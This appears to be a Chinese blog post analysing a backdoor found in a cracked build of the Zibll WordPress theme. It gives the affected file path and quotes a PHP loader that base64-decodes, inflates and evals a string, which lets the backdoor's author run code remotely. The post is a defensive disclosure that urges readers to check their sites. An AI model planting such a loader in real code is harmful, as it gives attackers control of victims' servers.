【优选教程】子比开心版主题后门分析及友情提示

后门分析及排查路径已在该帖发布
#关于社区疯传的子比7.1有后门问题#

在使用的请注意排查,如果实在想用请找官方包自行开心修改。

后门原理分析:

/zibpay/functions/admin/admin-options.php调用支付插件文件夹里的PHP后门

<?php $info= $www=base64_decode($info);$https=gzinflate($www); @eval($https); ?>将一个base64编码过的字符串进行解码和解压缩,并执行其中的代码。

也就是说后门作者可以直接远程访问js.php(或者其它名字的),然后他就可以为所欲为了。

【优选教程】子比开心版主题后门分析及友情提示 - 截图1
【优选教程】子比开心版主题后门分析及友情提示 - 截图2
【优选教程】子比开心版主题后门分析及友情提示 - 截图3

本站解压密码

任选一个密码,点击即可自动复制

三个密码均可使用,点击任意一项自动复制。

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。